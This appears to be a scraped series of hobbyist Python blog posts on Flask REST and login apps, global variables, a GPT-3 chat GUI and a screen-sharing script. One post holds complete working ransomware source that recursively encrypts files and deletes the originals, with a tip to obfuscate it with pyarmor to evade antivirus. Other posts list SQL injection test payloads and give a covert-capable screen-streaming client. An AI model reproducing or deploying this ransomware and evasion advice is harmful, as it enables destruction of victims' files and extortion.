Python Flask Rest Api with Mongodb Atlas and consume it with Python Requests

REpresentational State Transfer also known as REST and is an architectural style used in modern web development. It defines a set or rules/constraints for a web application to send and receive data. I thought that it is very necessary to post about this topic but in Cybersecurity, this kind of design approach introduces a lot risks but can be mitigated with the help of thorough testing and scanning.

 Today, I have created a very simple demo program written in python flask that that will store the data on a web based mondodb database called atlas and will be consumed by another python program just to test that the rest api is working. Here is the basic python-flask program:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

from flask import Flask, jsonify, request from pymongo import MongoClient import pprint import dns.resolver dns.resolver.default_resolver=dns.resolver.Resolver(configure=False) dns.resolver.default_resolver.nameservers=['8.8.8.8'] app = Flask(__name__) # connect to the MongoDB Atlas database password = 'ccc' connection_string = f'mongodb+srv://bbb:{password}@cluster0.fniq5.mongodb.net/?retryWrites=true&w=majority' client = MongoClient(connection_string, connectTimeoutMS=30000, socketTimeoutMS=None) db = client.grades @app.route('/store_grade', methods=['POST']) def store_grade(): data = request.get_json() student_id = data['student_id'] subject = data['subject'] grade = data['grade'] # insert the grade data into the 'grades' collection db.grades.insert_one({'student_id': student_id, 'subject': subject, 'grade': grade}) return jsonify(message='Grade stored successfully') if __name__ == '__main__': app.run(debug=True)

This is the python script that will access the rest api. The first program should be running on a localhost before running this second program:

1 2 3 4 5 6 7 8 9

import requests url = "http://localhost:5000/store_grade" data = {"student_id": 111, "subject": "algebra", "grade":85} response = requests.post(url, json=data) print(response.json())

And to check it the data was posted successfully, just go to your mongodb atlas account and you will see a record like this:

For more detailed explanation on how to insert a record to you cloud based mongdb, you may check out Tim's tutorial on youtube:

The youtube video help a lot with the preparation of this demo program.

Python: Handling of Global Variables across Different Files and Folders

The programs published in this blog uses extensively multiple files located in so many different folders but I have not done any documentation about this topic except this previous post Global Variables Handling across Pyqt6 Windows but it does not covers what if I want to store the files on a different folder?  Also another important topic to discuss is what if I want to access functions from other files located on a different folder? 

Why it is necessary to use multiple files and located in different folders? Well as the program really grows so large it will be difficult to maintain if it uses only one file and what a bunch of programmers need to create additional features and modules? These are some of the situations wherein it is very necessary to use multiple files and folders. I have discuss another scenario why it is important in my previous post(Spoiler Alert: Upgrading My Python Flask Login Demo Program).

At this point, you are maybe familiar how to handle global variables if you have previously read my blog post Global Variables Handling across Pyqt6 Windows. It is not just for PyQt6 framework, it can also be applied generally on any large python projects. In my sample program, I used config.py to declare the global variable and functions.py to update those global variables. But the situation in that sample program assumed that all python scripts are located on the same folder. There is a big difference if you just store python scripts on different folders, the handling of global variables is different. I have prepared a demo program below which addresses the issue storing python scripts on different folders:

The file structure:

The codes:

app.py:

1	from general import *

__init__.py:

1 2 3 4 5 6

from general import config, functions functions.addx(2, 3) print(config.x) functions.suby(5,4) print(config.y)

config.py:

1 2	x = 0 y = 0

functions.py:

1 2 3 4 5 6 7

import config def addx(arg1, arg2): config.x = arg1 + arg2 def suby(arg1, arg2): config.y = arg1 - arg2

You can see from the file structure that __init__.py, config.py and functions.py are inside the folder general which is the subfolder of the project root directory global where the app.py is located.

If I run this program(app.py), the python script __init__.py gets automatically executed because it acts as the constructor and it treats the folder general as a class. What this program does is to basically perform addition and subtraction and store the results of both operations in global variables x and y which are declared in config.py. These functions are in the python script functions.py There will be no error but the output will be 0 and 0 because app.py could not see the global variables x and y. But if I modify __ini_.py which is below:

1 2 3 4 5 6 7 8 9

import sys sys.path.append('c:/web_flask/global/general') import config, functions #from general import config, functions functions.addx(2, 3) print(config.x) functions.suby(5,4) print(config.y)

and run app.py again, I will get 5 and 1 as a result because app.py can now see the global variable. What I did was, I added the location of the python scripts config.py and funtions.py to the python path so that it can recognize this python scripts as part of the program or as a library. The result will also be the same if I move config.py and functions.py to another subfolder.

 

Spoiler Alert: Upgrading My Python Flask Login Demo Program

 The following contents is a spoiler of my on going project, I decided to post it already because I want to announce it in advance what I am currently doing and what I am up to. I plan to add more features before uploading the source code to my github page. This is version 3 already, I am almost done with version 2 but I felt that it lacks so many things. In version 2, there is no upgrade in the UI and cyber security, I just added registration page, a successful registration redirect page, added some error messages when user enters a wrong password, used extensively the redirect(url_for()) instead of the render_template and the python scripts config.py and functions.py are moved to a separate folder. So I hope you enjoy reading this post.

In today's post, I will be discussing about the upgrade that I applied to my Python Flask Login script which is the previous post. From now on, I shall be calling my project User Management System because I have made it to be a fully functioning system that will allow users to register, login to access the dashboard, logout from the system and update their profile. Not to mention the administrative functions to allow administrators to create/delete/update a user profile and reset a user's password. On the back side of these things are the python scripts. My previous post is so disorganized and I think it is not optimized. I even used a custom session manager which does not really works as it frequently does not remember who is logged in. I included on the first version because it initially passed my testing. I noticed the occurrence of the error during my frequent testing. I often retest each features on the application. This made me decide to embark on a refactoring task which has drastically changed the structure of the files and because of this, big changes in the codes is needed and as a result, it now follows the model-view-controller(MVC) design pattern. MVC is commonly used in big well known programming languages like PHP Code Igniter and LARAVEL frameworks. SAP's FIORI which is also a framework of UI5 also uses MVC. Since I have completely redesigned the back-end script, I thought that it is also necessary to completely redesign the graphical user interface. And that is what I exactly did. The front-end is now using Bootstrap 5 to make it more visually appealing. But it does not just stop there, in terms of defense against cyber attacks, a new OWASP top 10(Command Injection) was included and to detect other vulnerabilities, I did some scanning using Wapiti.

Everything is new at the Front-end

The project in its humble beginning had only 2 screens(Login Page and the Dashboard). It is meant to be just a demo program of flask. But in this blog, it has been a tradition to start from a simple app and eventually gets upgraded to a fully working system. And that is what this simple Login web application is getting. The latest version had fully expanded to full system. A User Management System. But it still very simple because it still lacks the Authorization Management System which in real sense is just as equally important and complicated as the User Management System. As a system, it should now have a landing page or a home page, a login screen, 2 dashboards(the dashboard of an administrator is different from a user), a registration page, a successful registration redirect page and 2 profile modification pages(the administrator has different view of this page). I also scrapped the css-html plain design and upgraded to Bootstrap 5 because there are much better website templates that are free and ready for downloading from the web. I am no expert in front-end development so I just used the example pages available at the Bootstrap Homepage.

The Landing Page:

The New Login Page:

The Registration Page:

The File Structure

In order for the code to be readable, I need to classify each functions being used in the program,  group them and put each group in one file. I prefer to make it look very simple by putting all database related functions on the model, business process related functions on the controller and all screen routings on the views file. And that is just for the python files. This project uses a lot of css, js and image files so I created one folder for each of these files under static folder. The css files are grouped to custom css and bootstrap5 css. The bootstrap5 css files are on the main folder css and the rest of custom css files are inside the custom folder inside the css folder. I have no custom js files so all bootstrap5 js are on the main folder js. If it is necessary to create a custom js files which I think there will be in the future, should be inside a folder named custom located inside the main folder js. And lastly, I have organized the html files according to the modules where they belong, for example, for any html file that are under user management system module should be inside the accounts folder, for dashboard, redirect pages, and other similar pages that do not really belong to a module should be in the pages folder and the base layout html files should be in the layouts folder.

There is no changes in handling of global variables. The declaration is still in the config.py and all changes is handled in function.py. The changes are both python scripts are now in a separate folder(general folder), since I have implemented MVC design pattern, the controller and model modules shall contain functions that will update the global variables and these functions are typically called from the view module. So this means that the view module will not be able to look at the global variables but could display their values from the return values of the functions inside the controller and model modules.

The coding strategy

The old version codes had to be reorganized. All routings must handled by a separate function module wherein at the browser side it is a completely separate page for example, if I have to redirect to the login page, I should not just call it directly from the current page by using return render_template but instead, I shall use return redirect(url_for()). This will allow to execute the general validation sequences before entering the page login screen and I dont have to retype the same validation sequences every time I use the render_template method. Another disadvantage of render_template method is it does not really leaves the function module it just stays there so it gets way too big making the whole code more complex and too many codes that need to be retyped each time. As the project becomes bigger by adding more modules into it, it has to be organized in such a way that this sets of codes must not really get affected after each module is added.

How the program works

In general the project root directory contains the run.py program. This python script is the entry point and it contains only one line of code which is the importation of the module app. The app here refers to folder app in the root directory which contains all the folders and files(python scripts, js, html, css and images) needed by the program. The folder app should contain the __init__.py file which automatically executed everytime an import command from another module is invoked. It is similar how the constructor works in a class in object oriented programming. Since it gets automatically executed, it should contain the necessary routines to initialize and run Flask. And towards the end of this python script is the importation of the views, model and controller scripts.

Fortifying against possible cyber attacks

In my previous post I have mentioned that I already implemented CSRF and CSP and did some testing on Sql Injection attacks. Those features are still present in this latest version and as an added features, I implemented some validation of inputs to strengthen further the defense against Sql Injection and will also fortify it against Command Injection and do more testing and finally do some scans using Wapiti but this scanning will be done after I have made the website working. The reason for this is because Wapiti is only available in Kali Linux so the web application has to be uploaded on my Kali Linux Virtual Machine to perform the scanning. I have used Wapiti in my Mr Robot Penetration Testing series and it seems that the result is quite accurate and easier to understand than Owasp Zap. Wapiti returns the CVE number of the detected vulnerability. It mainly scans for vulnerabilities that are listed in OWASP Top 10. So if it detected a vulnerability about SQL Injection, it will state in its report that it found a vulnerability in SQL Injection and will suggest the possible remediation by returning a CVE number. I think Owasp Zap needs additional customization in order to get a more accurate result. That's makes it so user unfriendly.

Running the program

Step 1: You will need to install python and the dependent libraries and setup MySql.

Step 2: Download the source code from my github page.

step 3: I primarily use windows so from CMD, navigate to the folder

step 4: Set up the Environment by typing  at the command prompt: set FLASK_APP=run.py

step 5: (optional) Enable DEBUG Environment (local development) by typing set FLASK_ENV=development

step 6: Start the project by typing flask run --host=0.0.0.0 --port=5000

Setting up MySql:

step 1: Download and install WAMP64

step 2: Run Wamp64

step 3: Open phpMyAdmin

step 4: Create the database and table

Access the app in browser: http://127.0.0.1:5000/

Python Flask Login App with MySql, CSRF and CSP Implementation

I have been busy lately preparing a demo program written in python using the Flask framework. There are a lot of tutorials on youtube and are easy to follow but are not complete or meaning not an app that may serve as a guide to really start a simple web application. By the way when I say a web application, it should have considered at least OWASP defense mechanism in the initial design and should have a session manager and it uses popularly used database. I am not saying that this CSRF and CSP implementation in this web application is without possible vulnerability, it is just a demo how it is possible to implement them.

The Web App in Details

The demo code I have prepared uses mysql(a popular database used by many web applications), CSRF(cross site request forgery), a simple csp(content security policy) and of course the popular Flask framework. It is also worth mentioning that I also implement a custom(I said custom because I did not used the standard way) session manager(but it is not really a session manager). And finally I used css to produce a nice and presentable login screen. I also used multi file system structure which means some of the variables were stored on a separate file. I could have stored commonly used functions on it but since it is a very simple web application, I thought that it is not necessary but in a larger project, storing functions on a separate file could preserve its readability and would be easier to maintain. I have posted a sample code  which can be found on my post Global Variables Handling across PyQt6 Windows.

Here is the screenshot:

You may use the following login credentials:

Username: admin

Password: Appl3Tr33.456

Please do note that the encryption/decryption of the password was not included in this post but I have a code snippet published on my post PyQt6 Desktop App Template series. You may study the code on the login.py and mainw.py where the user management system was implemented.

And here is the Dashboard that comes out after logging in successfully:

 

Testing the CSP 

To test the CSP part, I intently put some inline styles in my index.html file and here is the original screen:

With the CSP implemented, you'll notice that the part with inline styles was blocked or not displayed(check out the first screenshot).

Here is the part with inline styles:

And here is the error being captured by the browser(I am using chrome):

The CSRF Implementation

I have to dig deeper by researching and it seems that a similar problem or project has been discussed at stackoverflow and I also used the recommended solution and it worked for me, you may check the code snippet here: using flask_wtf.csrf without wtf_forms

Some SQL Injection Testing

I also perform some sql injection test  using these three payloads:

?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit

?id=a UNION SELECT 1,2;-- -&Submit=Submit

ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit 

The procedure I used to test this can be found on my previous post(SQL Injection Prevention checklist and Testing). None of the 3 payloads manage to penetrate the web app.

I also tried to use the payload I mentioned on my previous post which can be downloaded here. And it seems that it has certain vulnerability as one of the payloads manage to display the location of the python script but when I tried to reproduce the error in BurpSuite, it seems that once the program encounter a possible attack, it will always return a "Bad Request" even when I use the valid login credentials, and it will only return to normal when I re-run the python program. My guess is, it is probably a built-in anti-hacking feature of flask?

The mysql table structure:

The code:

I have uploaded the entire project to my github page and can be freely downloaded there. Here is the direct link : Python Flask Login.

A Simple Ransomware in Python

A ransomware is a malicious software(malware) where in this case which I prepared is to encrypt a file and notify the file owner that his file was encrypted and it will only be decrypted after the file owner paid the her(the hacker) some amount of money or any other condition set by the hacker.

The ransomware I created will encrypt all files with an extension not included in a list of the specified file extensions inside the program within the directory where the python script is located. After encrypting all of the files, a screen will appear and just press the decrypt button on the screen to decrypt the files. The resulting encrypted files will have an extension of ".p4wn3d" and the decrypted files will have ''.ransomized".

See the screenshots below:

1. Directory where the ransomware is located:

2. This is the result after the script was executed:

3. The screen appeared after file encryption:

4. This is the result after the decrypt button was pressed:

Anti viruses could detect the python script if converted to a .exe file. To avoid anti virus detection, there a popular method to obfuscate the python script and that is to use pyarmor before compiling it to an executable file.

Pyarmor has tons of features, it can also obfuscate an executable file to include expiring licenses and be able to extend these licenses when needed. Pls do note that I do not promote pyarmor, just sharing what I know that could be useful for anyone beginning to use Python.

Here is the code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148

import os from pathlib import Path from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP, AES import tkinter as tk key = RSA.generate(2048) privKey = key.export_key() pubKey = key.publickey().export_key() def checkFiles(bDir): for fil_e in os.scandir(bDir): if fil_e.is_file(): yield fil_e else: yield from checkFiles(fil_e.path) def crypter(dFile, publicKey): extension = dFile.suffix.lower() dFile = str(dFile) with open(dFile, 'rb') as f: f_cont = f.read() f_cont = bytes(f_cont) key = RSA.import_key(publicKey) lovekey = os.urandom(16) crypty = PKCS1_OAEP.new(key) cryptyKey = crypty.encrypt(lovekey) crypty = AES.new(lovekey, AES.MODE_EAX) cryptytext, tag = crypty.encrypt_and_digest(f_cont) fName= dFile.split(extension)[0] fileExtn = '.p4wn3d' cryptyFile = fName + fileExtn with open(cryptyFile, 'wb') as f: [ f.write(x) for x in (cryptyKey, crypty.nonce, tag, cryptytext) ] os.remove(dFile) def decryptor(dFile, privateKey): extension = dFile.suffix.lower() key = RSA.import_key(privateKey) with open(dFile, 'rb') as f: encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in (key.size_in_bytes(), 16, 16, -1) ] cipher = PKCS1_OAEP.new(key) sessionKey = cipher.decrypt(encryptedSessionKey) cipher = AES.new(sessionKey, AES.MODE_EAX, nonce) data = cipher.decrypt_and_verify(ciphertext, tag) dFile = str(dFile) fileName= dFile.split(extension)[0] fileExtension = '.ransomized' decryptedFile = fileName + fileExtension with open(decryptedFile, 'wb') as f: f.write(data) dir_y = './' ftype_excl = ['.py','.pem', '.exe'] for fil_e in checkFiles(dir_y): to_encrypt = Path(fil_e) fileType = to_encrypt.suffix.lower() if fileType in ftype_excl: continue crypter(to_encrypt, pubKey) x = 0 def countdown(count): global x if x == 0: hour, minute, second = count.split(':') hour = int(hour) minute = int(minute) second = int(second) label['text'] = '{}:{}:{}'.format(hour, minute, second) if second > 0 or minute > 0 or hour > 0: if second > 0: second -= 1 elif minute > 0: minute -= 1 second = 59 elif hour > 0: hour -= 1 minute = 59 second = 59 root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second)) def decrypt(): global x, dir_y, privKey inclExtn = ['.p4wn3d'] for fil_e in checkFiles(dir_y): to_decrypt = Path(fil_e) fType = to_decrypt.suffix.lower() if fType in inclExtn: decryptor(to_decrypt, privKey) label['text'] = 'Decrypted!' x = 1 root = tk.Tk() root.title('P4WN3D Ransomware') root.geometry('500x300') root.resizable(False, False) label1 = tk.Label(root, text='You are p4wn3d! \n This is a demo ransomware! \n For Educational Purposes ONLY! \n', font=('arial', 12,'bold')) label1.pack() label = tk.Label(root,font=('arial', 50,'bold'), fg='white', bg='blue') label.pack() B = tk.Button(root, text ="Decrypt", command = decrypt, height= 2, width=15) B.pack() B.place(x=50, y=200) # call countdown first time countdown('01:00:00') # root.after(0, countdown, 5) root.mainloop()

OpenAI GPT-3 Chatter Bot

As a backgrounder, GPT-3 (Generative Pretrained Transformer 3) is a state-of-the-art language processing AI model developed by OpenAI. It is capable of generating human-like text and has a wide range of applications, including language translation, language modelling, and generating text for applications such as chatbots. It is one of the largest and most powerful language processing AI models to date, with 175 billion parameters. See more info here.

There is a lot of speculation that in the near future it will wipe out millions of jobs, one of them is programming. See the youtube video here for a simple demo. Please note that Tech with Tim(the youtuber) used ChatGPT which is an online demo program of GPT-3.

Ok, I am a programmer so I am creating a future competitor, here is a simple python chat program that allows interaction with is future job ripper. 

Sample output:

Source Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65

import pyttsx3 from PyQt6.QtGui import * from PyQt6.QtCore import * from PyQt6.QtWidgets import * import openai class Window(QWidget): def __init__(self): super(Window, self).__init__() self.le = QTextEdit(self) self.le.setGeometry(5, 40, 890, 400) self.le1 = QTextEdit(self) self.le1.setGeometry(5, 5, 790, 30) self.btnStart = QPushButton("Ask", self) self.btnStart.setGeometry(800, 5, 90, 30) self.btnStart.clicked.connect(self.onClickedStart) #self.runnable = SpeechRunnable() #self.btnStop.clicked.connect(self.runnable.stop) self.setGeometry(25, 45, 900, 450) self.setWindowTitle('Open AI GPT-3 Chatter Bot') def speaker(self, otext): engine = pyttsx3.init() engine.setProperty('rate', 150) engine.say(otext) engine.runAndWait() def onClickedStart(self): openai.api_key = "sk-XXXXXXX" response = openai.Completion.create( engine="davinci", prompt= self.le1.toPlainText() + "\nAI:", temperature=0.9, max_tokens=150, top_p=1, frequency_penalty=0.0, presence_penalty=0.6, stop=["\n", " Human:", " AI:"] ) otext =response["choices"][0]["text"] self.le.setPlainText(self.le.toPlainText() + '\n' + self.le1.toPlainText() + '\n AI:' + otext) self.le.repaint() self.le1.setPlainText(text) self.speaker(otext) text = '' if __name__ == "__main__": import sys app = QApplication(sys.argv) w = Window() w.show() sys.exit(app.exec())

A Simple Screen Sharing Script

I remember when I am still a Developer, whenever I encounter some hardware or network related issues, I would call the Network Admin for assistance and often, they would not come over at my place to troubleshoot my pc but instead, they use root administration tools(RAT). So I researched a little bit about this and found that these tools are also frequently used by hackers, I was scared at first but since I was talking to the Company's Network Admin, probably he will not hack my PC.

While I was researching about RAT, I came across this simple python library by Neural9 called vidstream.  It is a small library that adds screen sharing capability to a python desktop application. If you are familiar with MsTeams or Google Zoom, then you could have used this screen sharing capability of these software. I also tried it myself and it worked(see sample screenshot below).

It was exactly just like in Neural9's youtube video tutorial. And since it so lightweight, it beats msfvenom's screen capture payload. By the way, some rootkit viruses use vidstream.

Here is the code:

Server:

1 2 3 4 5 6 7 8 9 10 11 12 13

from vidstream import StreamingServer import threading server = StreamingServer('192.168.254.184', 8181) t = threading.Thread(target=server.start_server) t.start() # Other Code while input("") != 'STOP': continue # When You Are Done server.stop_server()

Client:

1 2 3 4 5 6 7 8 9 10 11 12 13 14

from vidstream import ScreenShareClient import threading client3 = ScreenShareClient('192.168.254.184', 8181) t = threading.Thread(target=client3.start_stream) t.start() # Other Code while input("") != 'STOP': continue client3.stop_stream()